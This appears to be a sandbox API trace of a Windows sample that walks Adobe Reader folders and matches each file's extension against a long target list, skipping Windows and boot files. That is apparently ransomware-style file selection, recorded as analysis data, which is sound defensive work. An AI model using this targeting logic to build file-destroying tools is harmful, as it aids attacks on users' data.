	[0173.622] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42d29c0 | out: hHeap=0x5a0000) returned 1
	[0173.622] FindNextFileW (in: hFindFile=0x4140a58, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-nl", cAlternateFileName="")) returned 1
	[0173.623] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42d29c0 | out: hHeap=0x5a0000) returned 1
	[0173.623] FindNextFileW (in: hFindFile=0x4140a58, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-pl", cAlternateFileName="")) returned 1
	[0173.623] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42d29c0 | out: hHeap=0x5a0000) returned 1
	[0173.623] FindNextFileW (in: hFindFile=0x4140a58, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-br", cAlternateFileName="")) returned 1
	[0173.623] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42d29c0 | out: hHeap=0x5a0000) returned 1
	[0173.623] FindNextFileW (in: hFindFile=0x4140a58, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro-ro", cAlternateFileName="")) returned 1
	[0173.624] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42d29c0 | out: hHeap=0x5a0000) returned 1
	[0173.624] FindNextFileW (in: hFindFile=0x4140a58, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="root", cAlternateFileName="")) returned 1
	[0173.624] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42d29c0 | out: hHeap=0x5a0000) returned 1
	[0173.624] FindNextFileW (in: hFindFile=0x4140a58, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec8f4df, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec8f4df, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec8f4df, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru-ru", cAlternateFileName="")) returned 1
	[0173.624] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42d29c0 | out: hHeap=0x5a0000) returned 1
	[0173.624] FindNextFileW (in: hFindFile=0x4140a58, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec8f4df, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec8f4df, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec8f4df, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sk-sk", cAlternateFileName="")) returned 1
	[0173.624] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42d29c0 | out: hHeap=0x5a0000) returned 1
	[0173.624] FindNextFileW (in: hFindFile=0x4140a58, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-si", cAlternateFileName="")) returned 1
	[0173.624] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42d29c0 | out: hHeap=0x5a0000) returned 1
	[0173.624] FindNextFileW (in: hFindFile=0x4140a58, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-sl", cAlternateFileName="")) returned 1
	[0173.624] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42d29c0 | out: hHeap=0x5a0000) returned 1
	[0173.624] FindNextFileW (in: hFindFile=0x4140a58, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec8f4df, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec8f4df, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec8f4df, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-se", cAlternateFileName="")) returned 1
	[0173.625] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42d29c0 | out: hHeap=0x5a0000) returned 1
	[0173.625] FindNextFileW (in: hFindFile=0x4140a58, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr-tr", cAlternateFileName="")) returned 1
	[0173.625] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42d29c0 | out: hHeap=0x5a0000) returned 1
	[0173.625] FindNextFileW (in: hFindFile=0x4140a58, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeec8f4df, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec8f4df, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec8f4df, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x451, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1
	[0173.625] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42d29c0 | out: hHeap=0x5a0000) returned 1
	[0173.625] FindNextFileW (in: hFindFile=0x4140a58, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-cn", cAlternateFileName="")) returned 1
	[0173.625] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42d29c0 | out: hHeap=0x5a0000) returned 1
	[0173.625] FindNextFileW (in: hFindFile=0x4140a58, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec8f4df, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec8f4df, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec8f4df, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-tw", cAlternateFileName="")) returned 1
	[0173.625] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42d29c0 | out: hHeap=0x5a0000) returned 1
	[0173.625] FindNextFileW (in: hFindFile=0x4140a58, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec8f4df, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec8f4df, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec8f4df, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-tw", cAlternateFileName="")) returned 0
	[0173.626] FindClose (in: hFindFile=0x4140a58 | out: hFindFile=0x4140a58) returned 1
	[0173.626] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0173.626] FindNextFileW (in: hFindFile=0x4140c18, lpFindFileData=0x374e1a4 | out: lpFindFileData=0x374e1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3bd, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="plugin.js", cAlternateFileName="")) returned 1
	[0173.626] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42d29c0 | out: hHeap=0x5a0000) returned 1
	[0173.626] FindNextFileW (in: hFindFile=0x4140ed8, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecd7820, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rhp", cAlternateFileName="")) returned 0
	[0173.626] FindClose (in: hFindFile=0x4140ed8 | out: hFindFile=0x4140ed8) returned 1
	[0173.626] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0173.626] FindNextFileW (in: hFindFile=0x4140c18, lpFindFileData=0x374e1a4 | out: lpFindFileData=0x374e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="plugins", cAlternateFileName="")) returned 0
	[0173.626] FindClose (in: hFindFile=0x4140c18 | out: hFindFile=0x4140c18) returned 1
	[0173.626] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x50a0058 | out: hHeap=0x5a0000) returned 1
	[0173.626] FindNextFileW (in: hFindFile=0x4140898, lpFindFileData=0x374e420 | out: lpFindFileData=0x374e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec8f4df, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec8f4df, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 0
	[0173.626] FindClose (in: hFindFile=0x4140898 | out: hFindFile=0x4140898) returned 1
	[0173.626] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5080048 | out: hHeap=0x5a0000) returned 1
	[0173.628] FindNextFileW (in: hFindFile=0x4140e98, lpFindFileData=0x374e69c | out: lpFindFileData=0x374e69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24df500, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24df500, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24df500, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="fss", cAlternateFileName="")) returned 1
	[0173.628] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\fss") returned 98
	[0173.628] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\fss") returned 1
	[0173.628] lstrlenW (lpString="fss") returned 3
	[0173.628] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="fss") returned -1
	[0173.628] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x5080048
	[0173.629] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\fss") returned 98
	[0173.629] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\fss\\*", lpFindFileData=0x374e420 | out: lpFindFileData=0x374e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24df500, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24df500, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x335390b, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4140a18
	[0173.629] FindNextFileW (in: hFindFile=0x4140a18, lpFindFileData=0x374e420 | out: lpFindFileData=0x374e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24df500, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24df500, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x335390b, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0173.629] FindNextFileW (in: hFindFile=0x4140a18, lpFindFileData=0x374e420 | out: lpFindFileData=0x374e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x335390b, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x335390b, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x335390b, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="css", cAlternateFileName="")) returned 1
	[0173.629] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\fss\\css") returned 102
	[0173.629] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\fss\\css") returned 1
	[0173.629] lstrlenW (lpString="css") returned 3
	[0173.629] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="css") returned -1
	[0173.629] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x50a0058
	[0173.630] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\fss\\css") returned 102
	[0173.630] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\fss\\css\\*", lpFindFileData=0x374e1a4 | out: lpFindFileData=0x374e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x335390b, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x335390b, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x335390b, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x4140a58
	[0173.630] FindNextFileW (in: hFindFile=0x4140a58, lpFindFileData=0x374e1a4 | out: lpFindFileData=0x374e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x335390b, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x335390b, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x335390b, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0173.630] FindNextFileW (in: hFindFile=0x4140a58, lpFindFileData=0x374e1a4 | out: lpFindFileData=0x374e1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x335390b, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x335390b, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3379b53, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x767bd, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="faf-main.css", cAlternateFileName="")) returned 1
	[0173.630] lstrlenW (lpString="faf-main.css") returned 12
	[0173.630] lstrlenW (lpString=".1cd") returned 4
	[0173.630] lstrcmpiW (lpString1=".1cd", lpString2=".css") returned -1
	[0173.630] lstrlenW (lpString=".3ds") returned 4
	[0173.630] lstrcmpiW (lpString1=".3ds", lpString2=".css") returned -1
	[0173.630] lstrlenW (lpString=".3fr") returned 4
	[0173.630] lstrcmpiW (lpString1=".3fr", lpString2=".css") returned -1
	[0173.630] lstrlenW (lpString=".3g2") returned 4
	[0173.630] lstrcmpiW (lpString1=".3g2", lpString2=".css") returned -1
	[0173.630] lstrlenW (lpString=".3gp") returned 4
	[0173.630] lstrcmpiW (lpString1=".3gp", lpString2=".css") returned -1
	[0173.630] lstrlenW (lpString=".7z") returned 3
	[0173.630] lstrcmpiW (lpString1=".7z", lpString2="css") returned -1
	[0173.631] lstrlenW (lpString=".accda") returned 6
	[0173.631] lstrcmpiW (lpString1=".accda", lpString2="in.css") returned -1
	[0173.631] lstrlenW (lpString=".accdb") returned 6
	[0173.631] lstrcmpiW (lpString1=".accdb", lpString2="in.css") returned -1
	[0173.631] lstrlenW (lpString=".accdc") returned 6
	[0173.631] lstrcmpiW (lpString1=".accdc", lpString2="in.css") returned -1
	[0173.631] lstrlenW (lpString=".accde") returned 6
	[0173.631] lstrcmpiW (lpString1=".accde", lpString2="in.css") returned -1
	[0173.631] lstrlenW (lpString=".accdt") returned 6
	[0173.631] lstrcmpiW (lpString1=".accdt", lpString2="in.css") returned -1
	[0173.631] lstrlenW (lpString=".accdw") returned 6
	[0173.631] lstrcmpiW (lpString1=".accdw", lpString2="in.css") returned -1
	[0173.631] lstrlenW (lpString=".adb") returned 4
	[0173.631] lstrcmpiW (lpString1=".adb", lpString2=".css") returned -1
	[0173.631] lstrlenW (lpString=".adp") returned 4
	[0173.631] lstrcmpiW (lpString1=".adp", lpString2=".css") returned -1
	[0173.631] lstrlenW (lpString=".ai") returned 3
	[0173.631] lstrcmpiW (lpString1=".ai", lpString2="css") returned -1
	[0173.631] lstrlenW (lpString=".ai3") returned 4
	[0173.631] lstrcmpiW (lpString1=".ai3", lpString2=".css") returned -1
	[0173.631] lstrlenW (lpString=".ai4") returned 4
	[0173.631] lstrcmpiW (lpString1=".ai4", lpString2=".css") returned -1
	[0173.631] lstrlenW (lpString=".ai5") returned 4
	[0173.631] lstrcmpiW (lpString1=".ai5", lpString2=".css") returned -1
	[0173.631] lstrlenW (lpString=".ai6") returned 4
	[0173.631] lstrcmpiW (lpString1=".ai6", lpString2=".css") returned -1
	[0173.631] lstrlenW (lpString=".ai7") returned 4
	[0173.631] lstrcmpiW (lpString1=".ai7", lpString2=".css") returned -1
	[0173.631] lstrlenW (lpString=".ai8") returned 4
	[0173.631] lstrcmpiW (lpString1=".ai8", lpString2=".css") returned -1
	[0173.631] lstrlenW (lpString=".anim") returned 5
	[0173.631] lstrcmpiW (lpString1=".anim", lpString2="n.css") returned -1
	[0173.632] lstrlenW (lpString=".arw") returned 4
	[0173.632] lstrcmpiW (lpString1=".arw", lpString2=".css") returned -1
	[0173.632] lstrlenW (lpString=".as") returned 3
	[0173.632] lstrcmpiW (lpString1=".as", lpString2="css") returned -1
	[0173.632] lstrlenW (lpString=".asa") returned 4
	[0173.632] lstrcmpiW (lpString1=".asa", lpString2=".css") returned -1
	[0173.632] lstrlenW (lpString=".asc") returned 4
	[0173.632] lstrcmpiW (lpString1=".asc", lpString2=".css") returned -1
	[0173.632] lstrlenW (lpString=".ascx") returned 5
	[0173.632] lstrcmpiW (lpString1=".ascx", lpString2="n.css") returned -1
	[0173.632] lstrlenW (lpString=".asm") returned 4
	[0173.632] lstrcmpiW (lpString1=".asm", lpString2=".css") returned -1
	[0173.632] lstrlenW (lpString=".asmx") returned 5
	[0173.632] lstrcmpiW (lpString1=".asmx", lpString2="n.css") returned -1
	[0173.632] lstrlenW (lpString=".asp") returned 4
	[0173.632] lstrcmpiW (lpString1=".asp", lpString2=".css") returned -1
	[0173.632] lstrlenW (lpString=".aspx") returned 5
	[0173.632] lstrcmpiW (lpString1=".aspx", lpString2="n.css") returned -1
	[0173.632] lstrlenW (lpString=".asr") returned 4
	[0173.632] lstrcmpiW (lpString1=".asr", lpString2=".css") returned -1
	[0173.632] lstrlenW (lpString=".asx") returned 4
	[0173.632] lstrcmpiW (lpString1=".asx", lpString2=".css") returned -1
	[0173.632] lstrlenW (lpString=".avi") returned 4
	[0173.632] lstrcmpiW (lpString1=".avi", lpString2=".css") returned -1
	[0173.632] lstrlenW (lpString=".avs") returned 4
	[0173.632] lstrcmpiW (lpString1=".avs", lpString2=".css") returned -1
	[0173.632] lstrlenW (lpString=".backup") returned 7
	[0173.632] lstrcmpiW (lpString1=".backup", lpString2="ain.css") returned -1
	[0173.633] lstrlenW (lpString=".bak") returned 4
	[0173.633] lstrcmpiW (lpString1=".bak", lpString2=".css") returned -1
	[0173.633] lstrlenW (lpString=".bay") returned 4
	[0173.633] lstrcmpiW (lpString1=".bay", lpString2=".css") returned -1
	[0173.633] lstrlenW (lpString=".bd") returned 3
	[0173.633] lstrcmpiW (lpString1=".bd", lpString2="css") returned -1
	[0173.633] lstrlenW (lpString=".bin") returned 4
	[0173.633] lstrcmpiW (lpString1=".bin", lpString2=".css") returned -1
	[0173.633] lstrlenW (lpString=".bmp") returned 4
	[0173.633] lstrcmpiW (lpString1=".bmp", lpString2=".css") returned -1
	[0173.633] lstrlenW (lpString=".bz2") returned 4
	[0173.633] lstrcmpiW (lpString1=".bz2", lpString2=".css") returned -1
	[0173.633] lstrlenW (lpString=".c") returned 2
	[0173.633] lstrcmpiW (lpString1=".c", lpString2="ss") returned -1
	[0173.633] lstrlenW (lpString=".cdr") returned 4
	[0173.633] lstrcmpiW (lpString1=".cdr", lpString2=".css") returned -1
	[0173.633] lstrlenW (lpString=".cer") returned 4
	[0173.633] lstrcmpiW (lpString1=".cer", lpString2=".css") returned -1
	[0173.633] lstrlenW (lpString=".cf") returned 3
	[0173.633] lstrcmpiW (lpString1=".cf", lpString2="css") returned -1
	[0173.633] lstrlenW (lpString=".cfc") returned 4
	[0173.633] lstrcmpiW (lpString1=".cfc", lpString2=".css") returned -1
	[0173.633] lstrlenW (lpString=".cfm") returned 4
	[0173.633] lstrcmpiW (lpString1=".cfm", lpString2=".css") returned -1
	[0173.633] lstrlenW (lpString=".cfml") returned 5
	[0173.633] lstrcmpiW (lpString1=".cfml", lpString2="n.css") returned -1
	[0173.634] lstrlenW (lpString=".cfu") returned 4
	[0173.634] lstrcmpiW (lpString1=".cfu", lpString2=".css") returned -1
	[0173.634] lstrlenW (lpString=".chm") returned 4
	[0173.634] lstrcmpiW (lpString1=".chm", lpString2=".css") returned -1
	[0173.634] lstrlenW (lpString=".cin") returned 4
	[0173.634] lstrcmpiW (lpString1=".cin", lpString2=".css") returned -1
	[0173.634] lstrlenW (lpString=".class") returned 6
	[0173.634] lstrcmpiW (lpString1=".class", lpString2="in.css") returned -1
	[0173.634] lstrlenW (lpString=".clx") returned 4
	[0173.634] lstrcmpiW (lpString1=".clx", lpString2=".css") returned -1
	[0173.634] lstrlenW (lpString=".config") returned 7
	[0173.634] lstrcmpiW (lpString1=".config", lpString2="ain.css") returned -1
	[0173.634] lstrlenW (lpString=".cpp") returned 4
	[0173.634] lstrcmpiW (lpString1=".cpp", lpString2=".css") returned -1
	[0173.634] lstrlenW (lpString=".cr2") returned 4
	[0173.634] lstrcmpiW (lpString1=".cr2", lpString2=".css") returned -1
	[0173.634] lstrlenW (lpString=".crt") returned 4
	[0173.634] lstrcmpiW (lpString1=".crt", lpString2=".css") returned -1
	[0173.634] lstrlenW (lpString=".crw") returned 4
	[0173.634] lstrcmpiW (lpString1=".crw", lpString2=".css") returned -1
	[0173.634] lstrlenW (lpString=".cs") returned 3
	[0173.634] lstrcmpiW (lpString1=".cs", lpString2="css") returned -1
	[0173.634] lstrlenW (lpString=".css") returned 4
	[0173.634] lstrcmpiW (lpString1=".css", lpString2=".css") returned 0
	[0173.634] lstrlenW (lpString="faf-main.css") returned 12
	[0173.634] lstrlenW (lpString=".GTF") returned 4
	[0173.634] lstrcmpiW (lpString1=".GTF", lpString2=".css") returned 1
	[0173.634] lstrlenW (lpString="faf-main.css") returned 12
	[0173.634] lstrcmpiW (lpString1="boot.ini", lpString2="faf-main.css") returned -1
	[0173.634] lstrcmpiW (lpString1="bootfont.bin", lpString2="faf-main.css") returned -1
	[0173.634] lstrcmpiW (lpString1="ntldr", lpString2="faf-main.css") returned 1
